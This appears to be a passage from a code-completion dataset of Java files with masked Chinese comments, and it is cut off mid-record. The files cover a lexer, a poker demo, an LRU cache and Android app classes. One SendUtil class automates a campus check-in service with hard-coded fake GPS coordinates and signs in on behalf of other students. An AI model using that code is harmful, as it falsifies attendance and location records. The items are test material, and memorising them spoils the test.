Token(TokenType.Int, Integer.parseInt(str), sPos); } } // 如果是字符,按标识符对待 else if ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z') || (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z') || Source.charAt(pos) == '_') { int oldPos = pos; while (pos < Source.length() && ((Source.charAt(pos) >= 'a' && Source.charAt(pos) <= 'z') || (Source.charAt(pos) >= 'A' && Source.charAt(pos) <= 'Z') || (Source.charAt(pos) >= '0' && Source.charAt(pos) <= '9') || Source .charAt(pos) == '_')) { pos++; } String str = Source.substring(oldPos, pos); // 是bool常量 if (str.equals("false") || str.equals("true")) { return new Token(TokenType.Bool, Boolean.parseBoolean(str), sPos); } if (str == "null") { return new Token(TokenType.Null, null, sPos); } return new Token(TokenType.Identy, str, sPos); } // && 及 || else if ((Source.charAt(pos) == '&' && Source.charAt(pos + 1) == '&') || (Source.charAt(pos) == '|' && Source.charAt(pos + 1) == '|')) { String str = Source.substring(pos, pos + 2); pos += 2; return new Token(TokenType.Oper, str, sPos); } // +、-、*、/、>、<、!等后面可以带=的处理 else if (Source.charAt(pos) == '+' || Source.charAt(pos) == '-' || Source.charAt(pos) == '*' || Source.charAt(pos) == '/' || Source.charAt(pos) == '%' || Source.charAt(pos) == '>' || Source.charAt(pos) == '<' || Source.charAt(pos) == '!') { // 后面继续是'=',返回双操作符,否则,返回单操作符 if (pos < Source.length() && Source.charAt(pos + 1) == '=') { String str = Source.substring(pos, pos + 2); pos += 2; return new Token(TokenType.Oper, str, sPos); } else { String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } } // =号开始有三种,=本身,==,=> else if (Source.charAt(pos) == '=') { if (pos < Source.length() && (Source.charAt(pos + 1) == '=' || Source.charAt(pos + 1) == '>')) { String str = Source.substring(pos, pos + 2); pos += 2; return new Token(TokenType.Oper, str, sPos); } else { String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } } // 单个操作符 else if (Source.charAt(pos) == '(' || Source.charAt(pos) == ')' || Source.charAt(pos) == ',' || Source.charAt(pos) == ';' || Source.charAt(pos) == '.' || Source.charAt(pos) == ':' || Source.charAt(pos) == '@' || Source.charAt(pos) == '$' || Source.charAt(pos) == '{' || Source.charAt(pos) == '}' || Source.charAt(pos) == '[' || Source.charAt(pos) == ']') { // 进入字符串处理环节,保留原来状态 if (Source.charAt(pos) == '$') { inStrings.push(inString); inString = true; } // 碰到'{',保存当前模式 if (Source.charAt(pos) == '{' && inStrings.size() != 0) { inStrings.push(inString); inString = false; } // 碰到'}',返回前面模式。 if (Source.charAt(pos) == '}' && inStrings.size() != 0) { inString = inStrings.pop(); } String str = Source.substring(pos, pos + 1); pos += 1; return new Token(TokenType.Oper, str, sPos); } else { throw new RuntimeException(GetExceptionMessage("无效单词:" + Source.charAt(pos))); } } }
0
669_2
package cn.itcast_03; import java.util.ArrayList; import java.util.Collections; /* * 模拟斗地主洗牌和发牌 * * 扑克牌:54 * 小王 * 大王 * 黑桃A,黑桃2,黑桃3,黑桃4,黑桃...,黑桃10,黑桃J,黑桃Q,黑桃K * 红桃... * 梅花... * 方块... * * 分析: * A:造一个牌盒(集合) * B:造每一张牌,然后存储到牌盒里面去 * C:洗牌 * D:发牌 * E:看牌 */ public class PokerDemo { public static void main(String[] args) { // 造一个牌盒(集合) ArrayList<String> array = new ArrayList<String>(); // 造每一张牌,然后存储到牌盒里面去 // 定义花色数组 String[] colors = { "♠", "♥", "♣", "♦" }; // 定义点数数组 String[] numbers = { "A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K" }; for (String color : colors) { for (String number : numbers) { array.add(color.concat(number)); } } array.add("小王"); array.add("大王"); // 看牌 // System.out.println(array); // 洗牌 Collections.shuffle(array); // 发牌 // 三个选手 ArrayList<String> linQingXia = new ArrayList<String>(); ArrayList<String> fengQingYang = new ArrayList<String>(); ArrayList<String> liuYi = new ArrayList<String>(); // 底牌 ArrayList<String> diPai = new ArrayList<String>(); for (int x = 0; x < array.size(); x++) { if (x >= array.size() - 3) { diPai.add(array.get(x)); } else if (x % 3 == 0) { linQingXia.add(array.get(x)); } else if (x % 3 == 1) { fengQingYang.add(array.get(x)); } else if (x % 3 == 2) { liuYi.add(array.get(x)); } } // 看牌 lookPoker("林青霞", linQingXia); lookPoker("风清扬", fengQingYang); lookPoker("刘意", liuYi); lookPoker("底牌", diPai); } // 写一个功能实现遍历 public static void lookPoker(String name, ArrayList<String> array) { System.out.print(name + "的牌是:"); for (String s : array) { System.out.print(s + " "); } System.out.println(); } }
DuGuQiuBai/Java
day18/code/day18_Collections/src/cn/itcast_03/PokerDemo.java
813
// 造每一张牌,然后存储到牌盒里面去
line_comment
zh-cn
package cn.itcast_03; import java.util.ArrayList; import java.util.Collections; /* * 模拟斗地主洗牌和发牌 * * 扑克牌:54 * 小王 * 大王 * 黑桃A,黑桃2,黑桃3,黑桃4,黑桃...,黑桃10,黑桃J,黑桃Q,黑桃K * 红桃... * 梅花... * 方块... * * 分析: * A:造一个牌盒(集合) * B:造每一张牌,然后存储到牌盒里面去 * C:洗牌 * D:发牌 * E:看牌 */ public class PokerDemo { public static void main(String[] args) { // 造一个牌盒(集合) ArrayList<String> array = new ArrayList<String>(); // 造每 <SUF> // 定义花色数组 String[] colors = { "♠", "♥", "♣", "♦" }; // 定义点数数组 String[] numbers = { "A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K" }; for (String color : colors) { for (String number : numbers) { array.add(color.concat(number)); } } array.add("小王"); array.add("大王"); // 看牌 // System.out.println(array); // 洗牌 Collections.shuffle(array); // 发牌 // 三个选手 ArrayList<String> linQingXia = new ArrayList<String>(); ArrayList<String> fengQingYang = new ArrayList<String>(); ArrayList<String> liuYi = new ArrayList<String>(); // 底牌 ArrayList<String> diPai = new ArrayList<String>(); for (int x = 0; x < array.size(); x++) { if (x >= array.size() - 3) { diPai.add(array.get(x)); } else if (x % 3 == 0) { linQingXia.add(array.get(x)); } else if (x % 3 == 1) { fengQingYang.add(array.get(x)); } else if (x % 3 == 2) { liuYi.add(array.get(x)); } } // 看牌 lookPoker("林青霞", linQingXia); lookPoker("风清扬", fengQingYang); lookPoker("刘意", liuYi); lookPoker("底牌", diPai); } // 写一个功能实现遍历 public static void lookPoker(String name, ArrayList<String> array) { System.out.print(name + "的牌是:"); for (String s : array) { System.out.print(s + " "); } System.out.println(); } }
0
51009_11
package com.duan.musicoco.modle; import android.provider.MediaStore; /** * Created by DuanJiaNing on 2017/5/24. */ final public class SongInfo implements MediaStore.Audio.AudioColumns { //用于搜索、排序、分类 private String title_key; private String artist_key; private String album_key; private int id; //时间 ms private long duration; //艺术家 private String artist; //所属专辑 private String album; //专辑 ID private String album_id; //专辑图片路径 private String album_path; //专辑录制时间 private long year; //磁盘上的保存路径 //与服务端的 path 域对应,对于同一首歌曲(文件路径相同),两者应该相同 private String data; //文件大小 bytes private long size; //显示的名字 private String display_name; //内容标题 private String title; //文件被加入媒体库的时间 private long date_added; //文件最后修改时间 private long date_modified; //MIME type private String mime_type; @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; SongInfo songInfo = (SongInfo) o; return data.equals(songInfo.data); } @Override public int hashCode() { return data.hashCode(); } public void setAlbum_id(String album_id) { this.album_id = album_id; } public void setAlbum_path(String album_path) { this.album_path = album_path; } public void setTitle_key(String title_key) { this.title_key = title_key; } public void setArtist_key(String artist_key) { this.artist_key = artist_key; } public void setAlbum_key(String album_key) { this.album_key = album_key; } public void setArtist(String artist) { this.artist = artist; } public void setAlbum(String album) { this.album = album; } public void setData(String data) { this.data = data; } public void setDisplay_name(String display_name) { this.display_name = display_name; } public void setTitle(String title) { this.title = title; } public void setMime_type(String mime_type) { this.mime_type = mime_type; } public void setYear(long year) { this.year = year; } public void setDuration(long duration) { this.duration = duration; } public void setSize(long size) { this.size = size; } public void setDate_added(long date_added) { this.date_added = date_added; } public void setDate_modified(long date_modified) { this.date_modified = date_modified; } public String getTitle_key() { return title_key; } public String getArtist_key() { return artist_key; } public String getAlbum_key() { return album_key; } public long getDuration() { return duration; } public String getArtist() { return artist; } public String getAlbum() { return album; } public long getYear() { return year; } public String getData() { return data; } public long getSize() { return size; } public String getDisplay_name() { return display_name; } public String getTitle() { return title; } public long getDate_added() { return date_added; } public long getDate_modified() { return date_modified; } public String getMime_type() { return mime_type; } public String getAlbum_id() { return album_id; } public String getAlbum_path() { return album_path; } public int getId() { return id; } public void setId(int id) { this.id = id; } }
DuanJiaNing/Musicoco
app/src/main/java/com/duan/musicoco/modle/SongInfo.java
1,007
//显示的名字
line_comment
zh-cn
package com.duan.musicoco.modle; import android.provider.MediaStore; /** * Created by DuanJiaNing on 2017/5/24. */ final public class SongInfo implements MediaStore.Audio.AudioColumns { //用于搜索、排序、分类 private String title_key; private String artist_key; private String album_key; private int id; //时间 ms private long duration; //艺术家 private String artist; //所属专辑 private String album; //专辑 ID private String album_id; //专辑图片路径 private String album_path; //专辑录制时间 private long year; //磁盘上的保存路径 //与服务端的 path 域对应,对于同一首歌曲(文件路径相同),两者应该相同 private String data; //文件大小 bytes private long size; //显示 <SUF> private String display_name; //内容标题 private String title; //文件被加入媒体库的时间 private long date_added; //文件最后修改时间 private long date_modified; //MIME type private String mime_type; @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; SongInfo songInfo = (SongInfo) o; return data.equals(songInfo.data); } @Override public int hashCode() { return data.hashCode(); } public void setAlbum_id(String album_id) { this.album_id = album_id; } public void setAlbum_path(String album_path) { this.album_path = album_path; } public void setTitle_key(String title_key) { this.title_key = title_key; } public void setArtist_key(String artist_key) { this.artist_key = artist_key; } public void setAlbum_key(String album_key) { this.album_key = album_key; } public void setArtist(String artist) { this.artist = artist; } public void setAlbum(String album) { this.album = album; } public void setData(String data) { this.data = data; } public void setDisplay_name(String display_name) { this.display_name = display_name; } public void setTitle(String title) { this.title = title; } public void setMime_type(String mime_type) { this.mime_type = mime_type; } public void setYear(long year) { this.year = year; } public void setDuration(long duration) { this.duration = duration; } public void setSize(long size) { this.size = size; } public void setDate_added(long date_added) { this.date_added = date_added; } public void setDate_modified(long date_modified) { this.date_modified = date_modified; } public String getTitle_key() { return title_key; } public String getArtist_key() { return artist_key; } public String getAlbum_key() { return album_key; } public long getDuration() { return duration; } public String getArtist() { return artist; } public String getAlbum() { return album; } public long getYear() { return year; } public String getData() { return data; } public long getSize() { return size; } public String getDisplay_name() { return display_name; } public String getTitle() { return title; } public long getDate_added() { return date_added; } public long getDate_modified() { return date_modified; } public String getMime_type() { return mime_type; } public String getAlbum_id() { return album_id; } public String getAlbum_path() { return album_path; } public int getId() { return id; } public void setId(int id) { this.id = id; } }
0
11959_6
package com.fuckwzxy.util; import cn.hutool.http.HttpRequest; import cn.hutool.http.HttpResponse; import cn.hutool.json.JSONArray; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import com.fuckwzxy.bean.ApiInfo; import com.fuckwzxy.bean.SignMessage; import com.fuckwzxy.bean.UserInfo; import com.fuckwzxy.common.ApiConstant; import lombok.extern.slf4j.Slf4j; import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Component; import javax.sound.midi.Soundbank; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List; /** * @author wzh * 2020/9/23 19:15 */ @Component @Slf4j public class SendUtil { @Async public void sendCheckRequest(UserInfo userInfo, ApiInfo apiInfo, int seq) { HttpRequest request = createHttpRequest(apiInfo,userInfo); //body request.body(apiInfo.getBody().replace("seq=3", "seq=" + seq)); //return body request.execute(); } /** * 获取签到的id和logId * * @param userInfo user * @param getSignMessageApiInfo 接口 */ public SignMessage getSignMessage(UserInfo userInfo, ApiInfo getSignMessageApiInfo) { HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo); //参数 request.form("page", 1); request.form("size", 5); //得到返回的JSON并解析 String body = request.execute().body(); JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(0); return new SignMessage((String) data.getObj("id"), (String) data.get("logId")); } @Async public void sendSignRequest(UserInfo userInfo, ApiInfo signApiInfo, SignMessage signMessage) { HttpRequest request = createHttpRequest(signApiInfo,userInfo); //JSON data JSONObject data = new JSONObject(); data.set("id", signMessage.getLogId()); data.set("signId", signMessage.getId()); data.set("latitude", "23.090164"); data.set("longitude", "113.354053"); data.set("country", "中国"); data.set("province", "广东省"); data.set("district", "海珠区"); data.set("township", "官洲街道"); data.set("city", "广州市"); request.body(data.toString()); request.execute(); } public String GetJSON(UserInfo userInfo, ApiInfo getSignMessageApiInfo) { HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo); //参数 request.form("page", 1); request.form("size", 5); //得到返回的JSON并解析 String body = request.execute().body(); return body; } public boolean needCheck(ApiInfo apiInfo,UserInfo userInfo, int seq){ HttpRequest request = createHttpRequest(apiInfo,userInfo); HttpResponse response = request.execute(); String body = response.body(); if(!JSONUtil.parseObj(body).containsKey("data")) return false; JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(seq-1); return Integer.parseInt(data.get("type").toString()) == 0; } public List<String> getAllNoSign(ApiInfo apiInfo,UserInfo userInfo, int seq){ HttpRequest request = createHttpRequest(apiInfo,userInfo); //body SimpleDateFormat df = new SimpleDateFormat("yyyyMMdd");// 设置日期格式 String date = df.format(new Date()); String httpbody = apiInfo.getBody().replace("seq=3", "seq=" + seq); httpbody = httpbody.replace("date=20201030","date="+date); request.body(httpbody); String body = request.execute().body(); if(!JSONUtil.parseObj(body).containsKey("data") ){ return null; }else{ List<String> list = new ArrayList<>(); JSONArray arr = (JSONArray) JSONUtil.parseObj(body).get("data"); for (int i = 0; i < arr.size() ; i++) { JSONObject stu = (JSONObject) arr.get(i); list.add((String) stu.get("userId")); } return list; } } public void replaceSign(ApiInfo apiInfo,UserInfo userInfo, int seq,String userId){ HttpRequest request = createHttpRequest(apiInfo,userInfo); //body String httpbody = apiInfo.getBody().replace("seq=", "seq=" + seq); httpbody = httpbody.replace("userId=","userId="+userId); request.body(httpbody); //return body request.execute(); } public boolean JudgeTokenIsValid(ApiInfo apiInfo,UserInfo userInfo){ HttpRequest request = createHttpRequest(apiInfo,userInfo); //得到返回的JSON并解析 String body = request.execute().body(); if(JSONUtil.parseObj(body).containsKey("data")) return true; else return false; } /** * 创建HttpRequest对象 */ private HttpRequest createHttpRequest(ApiInfo apiInfo,UserInfo userInfo) { //请求方法和请求url HttpRequest request = request = apiInfo.getMethod().equals(ApiConstant.METHOD_GET)?HttpRequest.get(apiInfo.getUrl()):HttpRequest.post(apiInfo.getUrl()); //报文头 request.contentType(apiInfo.getContenttype()); //token request.header("token", userInfo.getToken().trim());//总有混蛋 带空格存进来 return request; } }
Duangdi/fuck-wozaixiaoyuan
src/main/java/com/fuckwzxy/util/SendUtil.java
1,384
//得到返回的JSON并解析
line_comment
zh-cn
package com.fuckwzxy.util; import cn.hutool.http.HttpRequest; import cn.hutool.http.HttpResponse; import cn.hutool.json.JSONArray; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import com.fuckwzxy.bean.ApiInfo; import com.fuckwzxy.bean.SignMessage; import com.fuckwzxy.bean.UserInfo; import com.fuckwzxy.common.ApiConstant; import lombok.extern.slf4j.Slf4j; import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Component; import javax.sound.midi.Soundbank; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.List; /** * @author wzh * 2020/9/23 19:15 */ @Component @Slf4j public class SendUtil { @Async public void sendCheckRequest(UserInfo userInfo, ApiInfo apiInfo, int seq) { HttpRequest request = createHttpRequest(apiInfo,userInfo); //body request.body(apiInfo.getBody().replace("seq=3", "seq=" + seq)); //return body request.execute(); } /** * 获取签到的id和logId * * @param userInfo user * @param getSignMessageApiInfo 接口 */ public SignMessage getSignMessage(UserInfo userInfo, ApiInfo getSignMessageApiInfo) { HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo); //参数 request.form("page", 1); request.form("size", 5); //得到返回的JSON并解析 String body = request.execute().body(); JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(0); return new SignMessage((String) data.getObj("id"), (String) data.get("logId")); } @Async public void sendSignRequest(UserInfo userInfo, ApiInfo signApiInfo, SignMessage signMessage) { HttpRequest request = createHttpRequest(signApiInfo,userInfo); //JSON data JSONObject data = new JSONObject(); data.set("id", signMessage.getLogId()); data.set("signId", signMessage.getId()); data.set("latitude", "23.090164"); data.set("longitude", "113.354053"); data.set("country", "中国"); data.set("province", "广东省"); data.set("district", "海珠区"); data.set("township", "官洲街道"); data.set("city", "广州市"); request.body(data.toString()); request.execute(); } public String GetJSON(UserInfo userInfo, ApiInfo getSignMessageApiInfo) { HttpRequest request = createHttpRequest(getSignMessageApiInfo,userInfo); //参数 request.form("page", 1); request.form("size", 5); //得到 <SUF> String body = request.execute().body(); return body; } public boolean needCheck(ApiInfo apiInfo,UserInfo userInfo, int seq){ HttpRequest request = createHttpRequest(apiInfo,userInfo); HttpResponse response = request.execute(); String body = response.body(); if(!JSONUtil.parseObj(body).containsKey("data")) return false; JSONObject data = (JSONObject) ((JSONArray) JSONUtil.parseObj(body).get("data")).get(seq-1); return Integer.parseInt(data.get("type").toString()) == 0; } public List<String> getAllNoSign(ApiInfo apiInfo,UserInfo userInfo, int seq){ HttpRequest request = createHttpRequest(apiInfo,userInfo); //body SimpleDateFormat df = new SimpleDateFormat("yyyyMMdd");// 设置日期格式 String date = df.format(new Date()); String httpbody = apiInfo.getBody().replace("seq=3", "seq=" + seq); httpbody = httpbody.replace("date=20201030","date="+date); request.body(httpbody); String body = request.execute().body(); if(!JSONUtil.parseObj(body).containsKey("data") ){ return null; }else{ List<String> list = new ArrayList<>(); JSONArray arr = (JSONArray) JSONUtil.parseObj(body).get("data"); for (int i = 0; i < arr.size() ; i++) { JSONObject stu = (JSONObject) arr.get(i); list.add((String) stu.get("userId")); } return list; } } public void replaceSign(ApiInfo apiInfo,UserInfo userInfo, int seq,String userId){ HttpRequest request = createHttpRequest(apiInfo,userInfo); //body String httpbody = apiInfo.getBody().replace("seq=", "seq=" + seq); httpbody = httpbody.replace("userId=","userId="+userId); request.body(httpbody); //return body request.execute(); } public boolean JudgeTokenIsValid(ApiInfo apiInfo,UserInfo userInfo){ HttpRequest request = createHttpRequest(apiInfo,userInfo); //得到返回的JSON并解析 String body = request.execute().body(); if(JSONUtil.parseObj(body).containsKey("data")) return true; else return false; } /** * 创建HttpRequest对象 */ private HttpRequest createHttpRequest(ApiInfo apiInfo,UserInfo userInfo) { //请求方法和请求url HttpRequest request = request = apiInfo.getMethod().equals(ApiConstant.METHOD_GET)?HttpRequest.get(apiInfo.getUrl()):HttpRequest.post(apiInfo.getUrl()); //报文头 request.contentType(apiInfo.getContenttype()); //token request.header("token", userInfo.getToken().trim());//总有混蛋 带空格存进来 return request; } }
0
36283_1
package com.boring.duanqifeng.tku; /* 段其沣于2017年10月9日 在四川大学江安校区创建 */ import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.view.View; import android.widget.Button; public class Leibie extends AppCompatActivity { SharedPreferences sharedPreferences; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_leibie); //每种类别的题目数 sharedPreferences = getSharedPreferences("TMS",MODE_PRIVATE); SharedPreferences.Editor editor = sharedPreferences.edit(); editor.putInt("gjs_danx",79); editor.putInt("gjs_dx",102); editor.putInt("gjs_pd",191); editor.putInt("jbz_danx",60); editor.putInt("jbz_dx",54); editor.putInt("jbz_lw",3); editor.putInt("jbz_pd",124); editor.putInt("jcjs_danx",47); editor.putInt("jcjs_dx",31); editor.putInt("jcjs_pd",58); editor.putInt("jl_danx",91); editor.putInt("jl_dx",21); editor.putInt("jl_pd",110); editor.putInt("jsll_danx",386); editor.putInt("jsll_dx",41); editor.putInt("jsll_pd",42); editor.putInt("nw_danx",84); editor.putInt("nw_dx",111); editor.putInt("nw_pd",18); editor.putInt("nw_lw",262); editor.putInt("xljc_danx",39); editor.putInt("xljc_dx",45); editor.putInt("xljc_pd",29); editor.putInt("zzjc_danx",24); editor.putInt("zzjc_dx",37); editor.putInt("zzjc_pd",42); editor.putInt("dl_danx",91); editor.putInt("dl_dx",18); editor.putInt("dl_pd",394); editor.apply(); Button 内务 = (Button) findViewById(R.id.内务); Button 队列 = (Button) findViewById(R.id.队列); Button 纪律 = (Button) findViewById(R.id.纪律); Button 军兵种 = (Button) findViewById(R.id.军兵种); Button 军事理论 = (Button) findViewById(R.id.军事理论); Button 军事高技术 = (Button) findViewById(R.id.军事高技术); Button 军队基层建设 = (Button) findViewById(R.id.军队基层建设); Button 训练基础理论 = (Button) findViewById(R.id.训练基础理论); Button 作战基础知识 = (Button) findViewById(R.id.作战基础知识); Button 模拟考试 = (Button) findViewById(R.id.kaoShi); Button 错题集 = (Button) findViewById(R.id.cuoTi); 内务.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Neiwu.class)); } }); 队列.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Duilie.class)); } }); 纪律.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jilv.class)); } }); 军兵种.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jbz.class)); } }); 军事理论.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jsll.class)); } }); 军事高技术.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Gjs.class)); } }); 军队基层建设.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jcjs.class)); } }); 训练基础理论.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Xljc.class)); } }); 作战基础知识.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Zzjc.class)); } }); 模拟考试.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Moni.class)); } }); 错题集.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Cuotiji.class)); } }); } }
Duanxiaoer/Android_TKU
app/src/main/java/com/boring/duanqifeng/tku/Leibie.java
1,362
//每种类别的题目数
line_comment
zh-cn
package com.boring.duanqifeng.tku; /* 段其沣于2017年10月9日 在四川大学江安校区创建 */ import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.view.View; import android.widget.Button; public class Leibie extends AppCompatActivity { SharedPreferences sharedPreferences; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_leibie); //每种 <SUF> sharedPreferences = getSharedPreferences("TMS",MODE_PRIVATE); SharedPreferences.Editor editor = sharedPreferences.edit(); editor.putInt("gjs_danx",79); editor.putInt("gjs_dx",102); editor.putInt("gjs_pd",191); editor.putInt("jbz_danx",60); editor.putInt("jbz_dx",54); editor.putInt("jbz_lw",3); editor.putInt("jbz_pd",124); editor.putInt("jcjs_danx",47); editor.putInt("jcjs_dx",31); editor.putInt("jcjs_pd",58); editor.putInt("jl_danx",91); editor.putInt("jl_dx",21); editor.putInt("jl_pd",110); editor.putInt("jsll_danx",386); editor.putInt("jsll_dx",41); editor.putInt("jsll_pd",42); editor.putInt("nw_danx",84); editor.putInt("nw_dx",111); editor.putInt("nw_pd",18); editor.putInt("nw_lw",262); editor.putInt("xljc_danx",39); editor.putInt("xljc_dx",45); editor.putInt("xljc_pd",29); editor.putInt("zzjc_danx",24); editor.putInt("zzjc_dx",37); editor.putInt("zzjc_pd",42); editor.putInt("dl_danx",91); editor.putInt("dl_dx",18); editor.putInt("dl_pd",394); editor.apply(); Button 内务 = (Button) findViewById(R.id.内务); Button 队列 = (Button) findViewById(R.id.队列); Button 纪律 = (Button) findViewById(R.id.纪律); Button 军兵种 = (Button) findViewById(R.id.军兵种); Button 军事理论 = (Button) findViewById(R.id.军事理论); Button 军事高技术 = (Button) findViewById(R.id.军事高技术); Button 军队基层建设 = (Button) findViewById(R.id.军队基层建设); Button 训练基础理论 = (Button) findViewById(R.id.训练基础理论); Button 作战基础知识 = (Button) findViewById(R.id.作战基础知识); Button 模拟考试 = (Button) findViewById(R.id.kaoShi); Button 错题集 = (Button) findViewById(R.id.cuoTi); 内务.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Neiwu.class)); } }); 队列.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Duilie.class)); } }); 纪律.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jilv.class)); } }); 军兵种.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jbz.class)); } }); 军事理论.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jsll.class)); } }); 军事高技术.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Gjs.class)); } }); 军队基层建设.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Jcjs.class)); } }); 训练基础理论.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Xljc.class)); } }); 作战基础知识.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Zzjc.class)); } }); 模拟考试.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Moni.class)); } }); 错题集.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(new Intent(Leibie.this,Cuotiji.class)); } }); } }
0
15495_0
/** * LRU least recently used 最近最少使用,是一种常见的页面置换算法。 * 以下的LRU,可以实现O(1)时间复杂度的插入,删除和查询功能。 * 通过map去查询节点,并在节点中缓存该节点pre和next节点,进行插入和删除 * * */ import java.util.HashMap; import java.util.Map; public class LRU<K, V> { Node<K,V> head; Node<K,V> tail; int size; int capacity; Map<K, Node<K,V>> map; class Node<K,V> { Node pre; Node next; K key; V value; Node() {} Node(K key, V value) { this.key = key; this.value = value; } Node(K key, V value, Node pre, Node next) { this.key = key; this.value = value; this.pre = pre; this.next = next; } } public LRU(int capacity) { this.capacity = capacity; this.size = 0; map = new HashMap<>(); head = new Node<K,V>(); tail = new Node<K,V>(); head.next = tail; tail.pre = head; } public V get(K key) { Node<K,V> node = map.getOrDefault(key, null); if(node != null) { removeNode(node); insertToTail(node); } return node==null ? null : node.value; } public void put(K key, V value) { remove(key); Node<K,V> node = new Node(key,value); insertToTail(node); if(size>capacity) { removeNode(head.next); } } public int remove(K key) { Node node = map.getOrDefault(key, null); if(node == null) { return -1; } removeNode(node); return 0; } private void insertToTail(Node<K,V> node) { tail.pre.next = node; node.pre = tail.pre; node.next = tail; tail.pre = node; map.put(node.key, node); size++; } private void removeNode(Node<K,V> node) { map.remove(node.key); node.pre.next = node.next; node.next.pre = node.pre; size--; } public void printLRU() { Node node = head; System.out.println("print current lru: "); while(node.next != tail) { System.out.print(node.next.value.toString() + " "); node = node.next; } System.out.println(); } public static void main(String[] args) { System.out.println("Hello world!"); LRU<Integer, String> lru = new LRU<>(3); lru.put(1,"hello"); lru.printLRU(); lru.put(2, "world"); lru.printLRU(); lru.put(3, "lru"); lru.printLRU(); lru.put(4, "java"); lru.printLRU(); lru.get(1); lru.printLRU(); lru.get(4); lru.printLRU(); } }
Dudadi/algorithm
LRU.java
826
/** * LRU least recently used 最近最少使用,是一种常见的页面置换算法。 * 以下的LRU,可以实现O(1)时间复杂度的插入,删除和查询功能。 * 通过map去查询节点,并在节点中缓存该节点pre和next节点,进行插入和删除 * * */
block_comment
zh-cn
/** * LRU <SUF>*/ import java.util.HashMap; import java.util.Map; public class LRU<K, V> { Node<K,V> head; Node<K,V> tail; int size; int capacity; Map<K, Node<K,V>> map; class Node<K,V> { Node pre; Node next; K key; V value; Node() {} Node(K key, V value) { this.key = key; this.value = value; } Node(K key, V value, Node pre, Node next) { this.key = key; this.value = value; this.pre = pre; this.next = next; } } public LRU(int capacity) { this.capacity = capacity; this.size = 0; map = new HashMap<>(); head = new Node<K,V>(); tail = new Node<K,V>(); head.next = tail; tail.pre = head; } public V get(K key) { Node<K,V> node = map.getOrDefault(key, null); if(node != null) { removeNode(node); insertToTail(node); } return node==null ? null : node.value; } public void put(K key, V value) { remove(key); Node<K,V> node = new Node(key,value); insertToTail(node); if(size>capacity) { removeNode(head.next); } } public int remove(K key) { Node node = map.getOrDefault(key, null); if(node == null) { return -1; } removeNode(node); return 0; } private void insertToTail(Node<K,V> node) { tail.pre.next = node; node.pre = tail.pre; node.next = tail; tail.pre = node; map.put(node.key, node); size++; } private void removeNode(Node<K,V> node) { map.remove(node.key); node.pre.next = node.next; node.next.pre = node.pre; size--; } public void printLRU() { Node node = head; System.out.println("print current lru: "); while(node.next != tail) { System.out.print(node.next.value.toString() + " "); node = node.next; } System.out.println(); } public static void main(String[] args) { System.out.println("Hello world!"); LRU<Integer, String> lru = new LRU<>(3); lru.put(1,"hello"); lru.printLRU(); lru.put(2, "world"); lru.printLRU(); 